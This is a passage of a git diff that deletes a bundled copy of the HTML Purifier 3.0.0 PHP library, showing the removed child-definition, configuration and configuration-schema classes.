some configuration - $escape_invalid_children = $config->get('Core', 'EscapeInvalidChildren'); - - // generator - static $gen = null; - if ($gen === null) { - $gen = new HTMLPurifier_Generator(); - } - - foreach ($tokens_of_children as $token) { - if (!empty($token->is_whitespace)) { - $result[] = $token; - continue; - } - $all_whitespace = false; // phew, we're not talking about whitespace - - $is_child = ($nesting == 0); - - if ($token->type == 'start') { - $nesting++; - } elseif ($token->type == 'end') { - $nesting--; - } - - if ($is_child) { - $is_deleting = false; - if (!isset($this->elements[$token->name])) { - $is_deleting = true; - if ($pcdata_allowed && $token->type == 'text') { - $result[] = $token; - } elseif ($pcdata_allowed && $escape_invalid_children) { - $result[] = new HTMLPurifier_Token_Text( - $gen->generateFromToken($token, $config) - ); - } - continue; - } - } - if (!$is_deleting || ($pcdata_allowed && $token->type == 'text')) { - $result[] = $token; - } elseif ($pcdata_allowed && $escape_invalid_children) { - $result[] = - new HTMLPurifier_Token_Text( - $gen->generateFromToken( $token, $config ) - ); - } else { - // drop silently - } - } - if (empty($result)) return false; - if ($all_whitespace) return false; - if ($tokens_of_children == $result) return true; - return $result; - } -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/ChildDef/StrictBlockquote.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/ChildDef/StrictBlockquote.php deleted file mode 100644 index b018d6e..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/ChildDef/StrictBlockquote.php +++ /dev/null @@ -1,75 +0,0 @@ -<?php - -require_once 'HTMLPurifier/ChildDef/Required.php'; - -/** - * Takes the contents of blockquote when in strict and reformats for validation. - */ -class HTMLPurifier_ChildDef_StrictBlockquote -extends HTMLPurifier_ChildDef_Required -{ - protected $real_elements; - protected $fake_elements; - public $allow_empty = true; - public $type = 'strictblockquote'; - protected $init = false; - public function validateChildren($tokens_of_children, $config, $context) { - - $def = $config->getHTMLDefinition(); - if (!$this->init) { - // allow all inline elements - $this->real_elements = $this->elements; - $this->fake_elements = $def->info_content_sets['Flow']; - $this->fake_elements['#PCDATA'] = true; - $this->init = true; - } - - // trick the parent class into thinking it allows more - $this->elements = $this->fake_elements; - $result = parent::validateChildren($tokens_of_children, $config, $context); - $this->elements = $this->real_elements; - - if ($result === false) return array(); - if ($result === true) $result = $tokens_of_children; - - $block_wrap_start = new HTMLPurifier_Token_Start($def->info_block_wrapper); - $block_wrap_end = new HTMLPurifier_Token_End( $def->info_block_wrapper); - $is_inline = false; - $depth = 0; - $ret = array(); - - // assuming that there are no comment tokens - foreach ($result as $i => $token) { - $token = $result[$i]; - // ifs are nested for readability - if (!$is_inline) { - if (!$depth) { - if ( - ($token->type == 'text' && !$token->is_whitespace) || - ($token->type != 'text' && !isset($this->elements[$token->name])) - ) { - $is_inline = true; - $ret[] = $block_wrap_start; - } - } - } else { - if (!$depth) { - // starting tokens have been inline text / empty - if ($token->type == 'start' || $token->type == 'empty') { - if (isset($this->elements[$token->name])) { - // ended - $ret[] = $block_wrap_end; - $is_inline = false; - } - } - } - } - $ret[] = $token; - if ($token->type == 'start') $depth++; - if ($token->type == 'end') $depth--; - } - if ($is_inline) $ret[] = $block_wrap_end; - return $ret; - } -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/ChildDef/Table.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/ChildDef/Table.php deleted file mode 100644 index dd7f6b5..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/ChildDef/Table.php +++ /dev/null @@ -1,143 +0,0 @@ -<?php - -require_once 'HTMLPurifier/ChildDef.php'; - -/** - * Definition for tables - */ -class HTMLPurifier_ChildDef_Table extends HTMLPurifier_ChildDef -{ - public $allow_empty = false; - public $type = 'table'; - public $elements = array('tr' => true, 'tbody' => true, 'thead' => true, - 'tfoot' => true, 'caption' => true, 'colgroup' => true, 'col' => true); - public function __construct() {} - public function validateChildren($tokens_of_children, $config, $context) { - if (empty($tokens_of_children)) return false; - - // this ensures that the loop gets run one last time before closing - // up. It's a little bit of a hack, but it works! Just make sure you - // get rid of the token later. - $tokens_of_children[] = false; - - // only one of these elements is allowed in a table - $caption = false; - $thead = false; - $tfoot = false; - - // as many of these as you want - $cols = array(); - $content = array(); - - $nesting = 0; // current depth so we can determine nodes - $is_collecting = false; // are we globbing together tokens to package - // into one of the collectors? - $collection = array(); // collected nodes - $tag_index = 0; // the first node might be whitespace, - // so this tells us where the start tag is - - foreach ($tokens_of_children as $token) { - $is_child = ($nesting == 0); - - if ($token === false) { - // terminating sequence started - } elseif ($token->type == 'start') { - $nesting++; - } elseif ($token->type == 'end') { - $nesting--; - } - - // handle node collection - if ($is_collecting) { - if ($is_child) { - // okay, let's stash the tokens away - // first token tells us the type of the collection - switch ($collection[$tag_index]->name) { - case 'tr': - case 'tbody': - $content[] = $collection; - break; - case 'caption': - if ($caption !== false) break; - $caption = $collection; - break; - case 'thead': - case 'tfoot': - // access the appropriate variable, $thead or $tfoot - $var = $collection[$tag_index]->name; - if ($$var === false) { - $$var = $collection; - } else { - // transmutate the first and less entries into - // tbody tags, and then put into content - $collection[$tag_index]->name = 'tbody'; - $collection[count($collection)-1]->name = 'tbody'; - $content[] = $collection; - } - break; - case 'colgroup': - $cols[] = $collection; - break; - } - $collection = array(); - $is_collecting = false; - $tag_index = 0; - } else { - // add the node to the collection - $collection[] = $token; - } - } - - // terminate - if ($token === false) break; - - if ($is_child) { - // determine what we're dealing with - if ($token->name == 'col') { - // the only empty tag in the possie, we can handle it - // immediately - $cols[] = array_merge($collection, array($token)); - $collection = array(); - $tag_index = 0; - continue; - } - switch($token->name) { - case 'caption': - case 'colgroup': - case 'thead': - case 'tfoot': - case 'tbody': - case 'tr': - $is_collecting = true; - $collection[] = $token; - continue; - default: - if ($token->type == 'text' && $token->is_whitespace) { - $collection[] = $token; - $tag_index++; - } - continue; - } - } - } - - if (empty($content)) return false; - - $ret = array(); - if ($caption !== false) $ret = array_merge($ret, $caption); - if ($cols !== false) foreach ($cols as $token_array) $ret = array_merge($ret, $token_array); - if ($thead !== false) $ret = array_merge($ret, $thead); - if ($tfoot !== false) $ret = array_merge($ret, $tfoot); - foreach ($content as $token_array) $ret = array_merge($ret, $token_array); - if (!empty($collection) && $is_collecting == false){ - // grab the trailing space - $ret = array_merge($ret, $collection); - } - - array_pop($tokens_of_children); // remove phantom token - - return ($ret === $tokens_of_children) ? true : $ret; - - } -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/Config.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/Config.php deleted file mode 100644 index 06ab1cf..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/Config.php +++ /dev/null @@ -1,495 +0,0 @@ -<?php - -require_once 'HTMLPurifier/ConfigSchema.php'; - -// member variables -require_once 'HTMLPurifier/HTMLDefinition.php'; -require_once 'HTMLPurifier/CSSDefinition.php'; -require_once 'HTMLPurifier/URIDefinition.php'; -require_once 'HTMLPurifier/Doctype.php'; -require_once 'HTMLPurifier/DefinitionCacheFactory.php'; - -// accomodations for versions earlier than 4.3.10 and 5.0.2 -// borrowed from PHP_Compat, LGPL licensed, by Aidan Lister <aidan@php.net> -if (!defined('PHP_EOL')) { - switch (strtoupper(substr(PHP_OS, 0, 3))) { - case 'WIN': - define('PHP_EOL', "\r\n"); - break; - case 'DAR': - define('PHP_EOL', "\r"); - break; - default: - define('PHP_EOL', "\n"); - } -} - -/** - * Configuration object that triggers customizable behavior. - * - * @warning This class is strongly defined: that means that the class - * will fail if an undefined directive is retrieved or set. - * - * @note Many classes that could (although many times don't) use the - * configuration object make it a mandatory parameter. This is - * because a configuration object should always be forwarded, - * otherwise, you run the risk of missing a parameter and then - * being stumped when a configuration directive doesn't work. - * - * @todo Reconsider some of the public member variables - */ -class HTMLPurifier_Config -{ - - /** - * HTML Purifier's version - */ - public $version = '3.0.0'; - - /** - * Bool indicator whether or not to automatically finalize - * the object if a read operation is done - */ - public $autoFinalize = true; - - // protected member variables - - /** - * Namespace indexed array of serials for specific namespaces (see - * getSerial() for more info). - */ - protected $serials = array(); - - /** - * Serial for entire configuration object - */ - protected $serial; - - /** - * Two-level associative array of configuration directives - */ - protected $conf; - - /** - * Reference HTMLPurifier_ConfigSchema for value checking - * @note This is public for introspective purposes. Please don't - * abuse! - */ - public $def; - - /** - * Indexed array of definitions - */ - protected $definitions; - - /** - * Bool indicator whether or not config is finalized - */ - protected $finalized = false; - - /** - * @param $definition HTMLPurifier_ConfigSchema that defines what directives - * are allowed. - */ - public function __construct(&$definition) { - $this->conf = $definition->defaults; // set up, copy in defaults - $this->def = $definition; // keep a copy around for checking - } - - /** - * Convenience constructor that creates a config object based on a mixed var - * @param mixed $config Variable that defines the state of the config - * object. Can be: a HTMLPurifier_Config() object, - * an array of directives based on loadArray(), - * or a string filename of an ini file. - * @return Configured HTMLPurifier_Config object - */ - public static function create($config) { - if ($config instanceof HTMLPurifier_Config) { - // pass-through - return $config; - } - $ret = HTMLPurifier_Config::createDefault(); - if (is_string($config)) $ret->loadIni($config); - elseif (is_array($config)) $ret->loadArray($config); - return $ret; - } - - /** - * Convenience constructor that creates a default configuration object. - * @return Default HTMLPurifier_Config object. - */ - public static function createDefault() { - $definition =& HTMLPurifier_ConfigSchema::instance(); - $config = new HTMLPurifier_Config($definition); - return $config; - } - - /** - * Retreives a value from the configuration. - * @param $namespace String namespace - * @param $key String key - */ - public function get($namespace, $key) { - if (!$this->finalized && $this->autoFinalize) $this->finalize(); - if (!isset($this->def->info[$namespace][$key])) { - // can't add % due to SimpleTest bug - trigger_error('Cannot retrieve value of undefined directive ' . htmlspecialchars("$namespace.$key"), - E_USER_WARNING); - return; - } - if ($this->def->info[$namespace][$key]->class == 'alias') { - $d = $this->def->info[$namespace][$key]; - trigger_error('Cannot get value from aliased directive, use real name ' . $d->namespace . '.' . $d->name, - E_USER_ERROR); - return; - } - return $this->conf[$namespace][$key]; - } - - /** - * Retreives an array of directives to values from a given namespace - * @param $namespace String namespace - */ - public function getBatch($namespace) { - if (!$this->finalized && $this->autoFinalize) $this->finalize(); - if (!isset($this->def->info[$namespace])) { - trigger_error('Cannot retrieve undefined namespace ' . htmlspecialchars($namespace), - E_USER_WARNING); - return; - } - return $this->conf[$namespace]; - } - - /** - * Returns a md5 signature of a segment of the configuration object - * that uniquely identifies that particular configuration - * @note Revision is handled specially and is removed from the batch - * before processing! - * @param $namespace Namespace to get serial for - */ - public function getBatchSerial($namespace) { - if (empty($this->serials[$namespace])) { - $batch = $this->getBatch($namespace); - unset($batch['DefinitionRev']); - $this->serials[$namespace] = md5(serialize($batch)); - } - return $this->serials[$namespace]; - } - - /** - * Returns a md5 signature for the entire configuration object - * that uniquely identifies that particular configuration - */ - public function getSerial() { - if (empty($this->serial)) { - $this->serial = md5(serialize($this->getAll())); - } - return $this->serial; - } - - /** - * Retrieves all directives, organized by namespace - */ - public function getAll() { - if (!$this->finalized && $this->autoFinalize) $this->finalize(); - return $this->conf; - } - - /** - * Sets a value to configuration. - * @param $namespace String namespace - * @param $key String key - * @param $value Mixed value - */ - public function set($namespace, $key, $value, $from_alias = false) { - if ($this->isFinalized('Cannot set directive after finalization')) return; - if (!isset($this->def->info[$namespace][$key])) { - trigger_error('Cannot set undefined directive ' . htmlspecialchars("$namespace.$key") . ' to value', - E_USER_WARNING); - return; - } - if ($this->def->info[$namespace][$key]->class == 'alias') { - if ($from_alias) { - trigger_error('Double-aliases not allowed, please fix '. - 'ConfigSchema bug with' . "$namespace.$key"); - } - $this->set($this->def->info[$namespace][$key]->namespace, - $this->def->info[$namespace][$key]->name, - $value, true); - return; - } - $value = $this->def->validate( - $value, - $type = $this->def->info[$namespace][$key]->type, - $this->def->info[$namespace][$key]->allow_null - ); - if (is_string($value)) { - // resolve value alias if defined - if (isset($this->def->info[$namespace][$key]->aliases[$value])) { - $value = $this->def->info[$namespace][$key]->aliases[$value]; - } - if ($this->def->info[$namespace][$key]->allowed !== true) { - // check to see if the value is allowed - if (!isset($this->def->info[$namespace][$key]->allowed[$value])) { - trigger_error('Value not supported, valid values are: ' . - $this->_listify($this->def->info[$namespace][$key]->allowed), E_USER_WARNING); - return; - } - } - } - if ($this->def->isError($value)) { - trigger_error('Value for ' . "$namespace.$key" . ' is of invalid type, should be ' . $type, E_USER_WARNING); - return; - } - $this->conf[$namespace][$key] = $value; - - // reset definitions if the directives they depend on changed - // this is a very costly process, so it's discouraged - // with finalization - if ($namespace == 'HTML' || $namespace == 'CSS') { - $this->definitions[$namespace] = null; - } - - $this->serials[$namespace] = false; - } - - /** - * Convenience function for error reporting - */ - private function _listify($lookup) { - $list = array(); - foreach ($lookup as $name => $b) $list[] = $name; - return implode(', ', $list); - } - - /** - * Retrieves reference to the HTML definition. - * @param $raw Return a copy that has not been setup yet. Must be - * called before it's been setup, otherwise won't work. - */ - public function &getHTMLDefinition($raw = false) { - $def =& $this->getDefinition('HTML', $raw); - return $def; // prevent PHP 4.4.0 from complaining - } - - /** - * Retrieves reference to the CSS definition - */ - public function &getCSSDefinition($raw = false) { - $def =& $this->getDefinition('CSS', $raw); - return $def; - } - - /** - * Retrieves a definition - * @param $type Type of definition: HTML, CSS, etc - * @param $raw Whether or not definition should be returned raw - */ - public function &getDefinition($type, $raw = false) { - if (!$this->finalized && $this->autoFinalize) $this->finalize(); - $factory = HTMLPurifier_DefinitionCacheFactory::instance(); - $cache = $factory->create($type, $this); - if (!$raw) { - // see if we can quickly supply a definition - if (!empty($this->definitions[$type])) { - if (!$this->definitions[$type]->setup) { - $this->definitions[$type]->setup($this); - $cache->set($this->definitions[$type], $this); - } - return $this->definitions[$type]; - } - // memory check missed, try cache - $this->definitions[$type] = $cache->get($this); - if ($this->definitions[$type]) { - // definition in cache, return it - return $this->definitions[$type]; - } - } elseif ( - !empty($this->definitions[$type]) && - !$this->definitions[$type]->setup - ) { - // raw requested, raw in memory, quick return - return $this->definitions[$type]; - } - // quick checks failed, let's create the object - if ($type == 'HTML') { - $this->definitions[$type] = new HTMLPurifier_HTMLDefinition(); - } elseif ($type == 'CSS') { - $this->definitions[$type] = new HTMLPurifier_CSSDefinition(); - } elseif ($type == 'URI') { - $this->definitions[$type] = new HTMLPurifier_URIDefinition(); - } else { - trigger_error("Definition of $type type not supported"); - $false = false; - return $false; - } - // quick abort if raw - if ($raw) { - if (is_null($this->get($type, 'DefinitionID'))) { - // fatally error out if definition ID not set - trigger_error("Cannot retrieve raw version without specifying %$type.DefinitionID", E_USER_ERROR); - $false = new HTMLPurifier_Error(); - return $false; - } - return $this->definitions[$type]; - } - // set it up - $this->definitions[$type]->setup($this); - // save in cache - $cache->set($this->definitions[$type], $this); - return $this->definitions[$type]; - } - - /** - * Loads configuration values from an array with the following structure: - * Namespace.Directive => Value - * @param $config_array Configuration associative array - */ - public function loadArray($config_array) { - if ($this->isFinalized('Cannot load directives after finalization')) return; - foreach ($config_array as $key => $value) { - $key = str_replace('_', '.', $key); - if (strpos($key, '.') !== false) { - // condensed form - list($namespace, $directive) = explode('.', $key); - $this->set($namespace, $directive, $value); - } else { - $namespace = $key; - $namespace_values = $value; - foreach ($namespace_values as $directive => $value) { - $this->set($namespace, $directive, $value); - } - } - } - } - - /** - * Returns a list of array(namespace, directive) for all directives - * that are allowed in a web-form context as per an allowed - * namespaces/directives list. - * @param $allowed List of allowed namespaces/directives - */ - public static function getAllowedDirectivesForForm($allowed) { - $schema = HTMLPurifier_ConfigSchema::instance(); - if ($allowed !== true) { - if (is_string($allowed)) $allowed = array($allowed); - $allowed_ns = array(); - $allowed_directives = array(); - $blacklisted_directives = array(); - foreach ($allowed as $ns_or_directive) { - if (strpos($ns_or_directive, '.') !== false) { - // directive - if ($ns_or_directive[0] == '-') { - $blacklisted_directives[substr($ns_or_directive, 1)] = true; - } else { - $allowed_directives[$ns_or_directive] = true; - } - } else { - // namespace - $allowed_ns[$ns_or_directive] = true; - } - } - } - $ret = array(); - foreach ($schema->info as $ns => $keypairs) { - foreach ($keypairs as $directive => $def) { - if ($allowed !== true) { - if (isset($blacklisted_directives["$ns.$directive"])) continue; - if (!isset($allowed_directives["$ns.$directive"]) && !isset($allowed_ns[$ns])) continue; - } - if ($def->class == 'alias') continue; - if ($directive == 'DefinitionID' || $directive == 'DefinitionRev') continue; - $ret[] = array($ns, $directive); - } - } - return $ret; - } - - /** - * Loads configuration values from $_GET/$_POST that were posted - * via ConfigForm - * @param $array $_GET or $_POST array to import - * @param $index Index/name that the config variables are in - * @param $allowed List of allowed namespaces/directives - * @param $mq_fix Boolean whether or not to enable magic quotes fix - */ - public static function loadArrayFromForm($array, $index, $allowed = true, $mq_fix = true) { - $ret = HTMLPurifier_Config::prepareArrayFromForm($array, $index, $allowed, $mq_fix); - $config = HTMLPurifier_Config::create($ret); - return $config; - } - - /** - * Merges in configuration values from $_GET/$_POST to object. NOT STATIC. - * @note Same parameters as loadArrayFromForm - */ - public function mergeArrayFromForm($array, $index, $allowed = true, $mq_fix = true) { - $ret = HTMLPurifier_Config::prepareArrayFromForm($array, $index, $allowed, $mq_fix); - $this->loadArray($ret); - } - - /** - * Prepares an array from a form into something usable for the more - * strict parts of HTMLPurifier_Config - */ - public static function prepareArrayFromForm($array, $index, $allowed = true, $mq_fix = true) { - $array = (isset($array[$index]) && is_array($array[$index])) ? $array[$index] : array(); - $mq = get_magic_quotes_gpc() && $mq_fix; - - $allowed = HTMLPurifier_Config::getAllowedDirectivesForForm($allowed); - $ret = array(); - foreach ($allowed as $key) { - list($ns, $directive) = $key; - $skey = "$ns.$directive"; - if (!empty($array["Null_$skey"])) { - $ret[$ns][$directive] = null; - continue; - } - if (!isset($array[$skey])) continue; - $value = $mq ? stripslashes($array[$skey]) : $array[$skey]; - $ret[$ns][$directive] = $value; - } - return $ret; - } - - /** - * Loads configuration values from an ini file - * @param $filename Name of ini file - */ - public function loadIni($filename) { - if ($this->isFinalized('Cannot load directives after finalization')) return; - $array = parse_ini_file($filename, true); - $this->loadArray($array); - } - - /** - * Checks whether or not the configuration object is finalized. - * @param $error String error message, or false for no error - */ - public function isFinalized($error = false) { - if ($this->finalized && $error) { - trigger_error($error, E_USER_ERROR); - } - return $this->finalized; - } - - /** - * Finalizes configuration only if auto finalize is on and not - * already finalized - */ - public function autoFinalize() { - if (!$this->finalized && $this->autoFinalize) $this->finalize(); - } - - /** - * Finalizes a configuration object, prohibiting further change - */ - public function finalize() { - $this->finalized = true; - } - -} - - - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/ConfigDef.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/ConfigDef.php deleted file mode 100644 index 9490d08..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/ConfigDef.php +++ /dev/null @@ -1,9 +0,0 @@ -<?php - -/** - * Base class for configuration entity - */ -class HTMLPurifier_ConfigDef { - public $class = false; -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/ConfigDef/Directive.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/ConfigDef/Directive.php deleted file mode 100644 index 8b176a8..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/ConfigDef/Directive.php +++ /dev/null @@ -1,79 +0,0 @@ -<?php - -require_once 'HTMLPurifier/ConfigDef.php'; - -/** - * Structure object containing definition of a directive. - * @note This structure does not contain default values - */ -class HTMLPurifier_ConfigDef_Directive extends HTMLPurifier_ConfigDef -{ - - public $class = 'directive'; - - public function __construct( - $type = null, - $descriptions = null, - $allow_null = null, - $allowed = null, - $aliases = null - ) { - if ( $type !== null) $this->type = $type; - if ($descriptions !== null) $this->descriptions = $descriptions; - if ( $allow_null !== null) $this->allow_null = $allow_null; - if ( $allowed !== null) $this->allowed = $allowed; - if ( $aliases !== null) $this->aliases = $aliases; - } - - /** - * Allowed type of the directive. Values are: - * - string - * - istring (case insensitive string) - * - int - * - float - * - bool - * - lookup (array of value => true) - * - list (regular numbered index array) - * - hash (array of key => value) - * - mixed (anything goes) - */ - public $type = 'mixed'; - - /** - * Plaintext descriptions of the configuration entity is. Organized by - * file and line number, so multiple descriptions are allowed. - */ - public $descriptions = array(); - - /** - * Is null allowed? Has no effect for mixed type. - * @bool - */ - public $allow_null = false; - - /** - * Lookup table of allowed values of the element, bool true if all allowed. - */ - public $allowed = true; - - /** - * Hash of value aliases, i.e. values that are equivalent. - */ - public $aliases = array(); - - /** - * Advisory list of directive aliases, i.e. other directives that - * redirect here - */ - public $directiveAliases = array(); - - /** - * Adds a description to the array - */ - public function addDescription($file, $line, $description) { - if (!isset($this->descriptions[$file])) $this->descriptions[$file] = array(); - $this->descriptions[$file][$line] = $description; - } - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/ConfigDef/DirectiveAlias.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/ConfigDef/DirectiveAlias.php deleted file mode 100644 index db9be3e..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/ConfigDef/DirectiveAlias.php +++ /dev/null @@ -1,26 +0,0 @@ -<?php - -require_once 'HTMLPurifier/ConfigDef.php'; - -/** - * Structure object describing a directive alias - */ -class HTMLPurifier_ConfigDef_DirectiveAlias extends HTMLPurifier_ConfigDef -{ - public $class = 'alias'; - - /** - * Namespace being aliased to - */ - public $namespace; - /** - * Directive being aliased to - */ - public $name; - - public function __construct($namespace, $name) { - $this->namespace = $namespace; - $this->name = $name; - } -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/ConfigDef/Namespace.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/ConfigDef/Namespace.php deleted file mode 100644 index 90676f6..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/ConfigDef/Namespace.php +++ /dev/null @@ -1,22 +0,0 @@ -<?php - -require_once 'HTMLPurifier/ConfigDef.php'; - -/** - * Structure object describing of a namespace - */ -class HTMLPurifier_ConfigDef_Namespace extends HTMLPurifier_ConfigDef { - - public function HTMLPurifier_ConfigDef_Namespace($description = null) { - $this->description = $description; - } - - public $class = 'namespace'; - - /** - * String description of what kinds of directives go in this namespace. - */ - public $description; - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/ConfigSchema.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/ConfigSchema.php deleted file mode 100644 index 1fbcf45..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/ConfigSchema.php +++ /dev/null @@ -1,436 +0,0 @@ -<?php - -require_once 'HTMLPurifier/Error.php'; -require_once 'HTMLPurifier/ConfigDef.php'; -require_once 'HTMLPurifier/ConfigDef/Namespace.php'; -require_once 'HTMLPurifier/ConfigDef/Directive.php'; -require_once 'HTMLPurifier/ConfigDef/DirectiveAlias.php'; - -if (!defined('HTMLPURIFIER_SCHEMA_STRICT')) define('HTMLPURIFIER_SCHEMA_STRICT', false); - -/** - * Configuration definition, defines directives and their defaults. - * @note If you update this, please update Printer_ConfigForm - * @todo The ability to define things multiple times is confusing and should - * be factored out to its own function named registerDependency() or - * addNote(), where only the namespace.name and an extra descriptions - * documenting the nature of the dependency are needed. Since it's - * possible that the dependency is registered before the configuration - * is defined, deferring it to some sort of cache until it actually - * gets defined would be wise, keeping it opaque until it does get - * defined. We could add a finalize() method which would cause it to - * error out if we get a dangling dependency. It's difficult, however, - * to know whether or not it's a dependency, or a codependency, that is - * neither of them fully depends on it. Where does the configuration go - * then? This could be partially resolved by allowing blanket definitions - * and then splitting them up into finer-grained versions, however, there - * might be implementation difficulties in ini files regarding order of - * execution. - */ -class HTMLPurifier_ConfigSchema { - - /** - * Defaults of the directives and namespaces. - * @note This shares the exact same structure as HTMLPurifier_Config::$conf - */ - public $defaults = array(); - - /** - * Definition of the directives. - */ - public $info = array(); - - /** - * Definition of namespaces. - */ - public $info_namespace = array(); - - /** - * Lookup table of allowed types. - */ - public $types = array( - 'string' => 'String', - 'istring' => 'Case-insensitive string', - 'text' => 'Text', - 'itext' => 'Case-insensitive text', - 'int' => 'Integer', - 'float' => 'Float', - 'bool' => 'Boolean', - 'lookup' => 'Lookup array', - 'list' => 'Array list', - 'hash' => 'Associative array', - 'mixed' => 'Mixed' - ); - - /** - * Initializes the default namespaces. - */ - public function initialize() { - $this->defineNamespace('Core', 'Core features that are always available.'); - $this->defineNamespace('Attr', 'Features regarding attribute validation.'); - $this->defineNamespace('URI', 'Features regarding Uniform Resource Identifiers.'); - $this->defineNamespace('HTML', 'Configuration regarding allowed HTML.'); - $this->defineNamespace('CSS', 'Configuration regarding allowed CSS.'); - $this->defineNamespace('AutoFormat', 'Configuration for activating auto-formatting functionality (also known as <code>Injector</code>s)'); - $this->defineNamespace('AutoFormatParam', 'Configuration for customizing auto-formatting functionality'); - $this->defineNamespace('Filter', 'Configuration for filters'); - $this->defineNamespace('Output', 'Configuration relating to the generation of (X)HTML.'); - $this->defineNamespace('Cache', 'Configuration for DefinitionCache and related subclasses.'); - $this->defineNamespace('Test', 'Developer testing configuration for our unit tests.'); - } - - /** - * Retrieves an instance of the application-wide configuration definition. - */ - public static function &instance($prototype = null) { - static $instance; - if ($prototype !== null) { - $instance = $prototype; - } elseif ($instance === null || $prototype === true) { - $instance = new HTMLPurifier_ConfigSchema(); - $instance->initialize(); - } - return $instance; - } - - /** - * Defines a directive for configuration - * @warning Will fail of directive's namespace is defined - * @param $namespace Namespace the directive is in - * @param $name Key of directive - * @param $default Default value of directive - * @param $type Allowed type of the directive. See - * HTMLPurifier_DirectiveDef::$type for allowed values - * @param $description Description of directive for documentation - */ - public static function define($namespace, $name, $default, $type, $description) { - $def =& HTMLPurifier_ConfigSchema::instance(); - - // basic sanity checks - if (HTMLPURIFIER_SCHEMA_STRICT) { - if (!isset($def->info[$namespace])) { - trigger_error('Cannot define directive for undefined namespace', - E_USER_ERROR); - return; - } - if (!ctype_alnum($name)) { - trigger_error('Directive name must be alphanumeric', - E_USER_ERROR); - return; - } - if (empty($description)) { - trigger_error('Description must be non-empty', - E_USER_ERROR); - return; - } - } - - if (isset($def->info[$namespace][$name])) { - // already defined - if ( - $def->info[$namespace][$name]->type !== $type || - $def->defaults[$namespace][$name] !== $default - ) { - trigger_error('Inconsistent default or type, cannot redefine'); - return; - } - } else { - // needs defining - - // process modifiers (OPTIMIZE!) - $type_values = explode('/', $type, 2); - $type = $type_values[0]; - $modifier = isset($type_values[1]) ? $type_values[1] : false; - $allow_null = ($modifier === 'null'); - - if (HTMLPURIFIER_SCHEMA_STRICT) { - if (!isset($def->types[$type])) { - trigger_error('Invalid type for configuration directive', - E_USER_ERROR); - return; - } - $default = $def->validate($default, $type, $allow_null); - if ($def->isError($default)) { - trigger_error('Default value does not match directive type', - E_USER_ERROR); - return; - } - } - - $def->info[$namespace][$name] = - new HTMLPurifier_ConfigDef_Directive(); - $def->info[$namespace][$name]->type = $type; - $def->info[$namespace][$name]->allow_null = $allow_null; - $def->defaults[$namespace][$name] = $default; - } - if (!HTMLPURIFIER_SCHEMA_STRICT) return; - $backtrace = debug_backtrace(); - $file = $def->mungeFilename($backtrace[0]['file']); - $line = $backtrace[0]['line']; - $def->info[$namespace][$name]->addDescription($file,$line,$description); - } - - /** - * Defines a namespace for directives to be put into. - * @param $namespace Namespace's name - * @param $description Description of the namespace - */ - public static function defineNamespace($namespace, $description) { - $def =& HTMLPurifier_ConfigSchema::instance(); - if (HTMLPURIFIER_SCHEMA_STRICT) { - if (isset($def->info[$namespace])) { - trigger_error('Cannot redefine namespace', E_USER_ERROR); - return; - } - if (!ctype_alnum($namespace)) { - trigger_error('Namespace name must be alphanumeric', - E_USER_ERROR); - return; - } - if (empty($description)) { - trigger_error('Description must be non-empty', - E_USER_ERROR); - return; - } - } - $def->info[$namespace] = array(); - $def->info_namespace[$namespace] = new HTMLPurifier_ConfigDef_Namespace(); - $def->info_namespace[$namespace]->description = $description; - $def->defaults[$namespace] = array(); - } - - /** - * Defines a directive value alias. - * - * Directive value aliases are convenient for developers because it lets - * them set a directive to several values and get the same result. - * @param $namespace Directive's namespace - * @param $name Name of Directive - * @param $alias Name of aliased value - * @param $real Value aliased value will be converted into - */ - public static function defineValueAliases($namespace, $name, $aliases) { - $def =& HTMLPurifier_ConfigSchema::instance(); - if (HTMLPURIFIER_SCHEMA_STRICT && !isset($def->info[$namespace][$name])) { - trigger_error('Cannot set value alias for non-existant directive', - E_USER_ERROR); - return; - } - foreach ($aliases as $alias => $real) { - if (HTMLPURIFIER_SCHEMA_STRICT) { - if (!$def->info[$namespace][$name] !== true && - !isset($def->info[$namespace][$name]->allowed[$real]) - ) { - trigger_error('Cannot define alias to value that is not allowed', - E_USER_ERROR); - return; - } - if (isset($def->info[$namespace][$name]->allowed[$alias])) { - trigger_error('Cannot define alias over allowed value', - E_USER_ERROR); - return; - } - } - $def->info[$namespace][$name]->aliases[$alias] = $real; - } - } - - /** - * Defines a set of allowed values for a directive. - * @param $namespace Namespace of directive - * @param $name Name of directive - * @param $allowed_values Arraylist of allowed values - */ - public static function defineAllowedValues($namespace, $name, $allowed_values) { - $def =& HTMLPurifier_ConfigSchema::instance(); - if (HTMLPURIFIER_SCHEMA_STRICT && !isset($def->info[$namespace][$name])) { - trigger_error('Cannot define allowed values for undefined directive', - E_USER_ERROR); - return; - } - $directive =& $def->info[$namespace][$name]; - $type = $directive->type; - if (HTMLPURIFIER_SCHEMA_STRICT && $type != 'string' && $type != 'istring') { - trigger_error('Cannot define allowed values for directive whose type is not string', - E_USER_ERROR); - return; - } - if ($directive->allowed === true) { - $directive->allowed = array(); - } - foreach ($allowed_values as $value) { - $directive->allowed[$value] = true; - } - if ( - HTMLPURIFIER_SCHEMA_STRICT && - 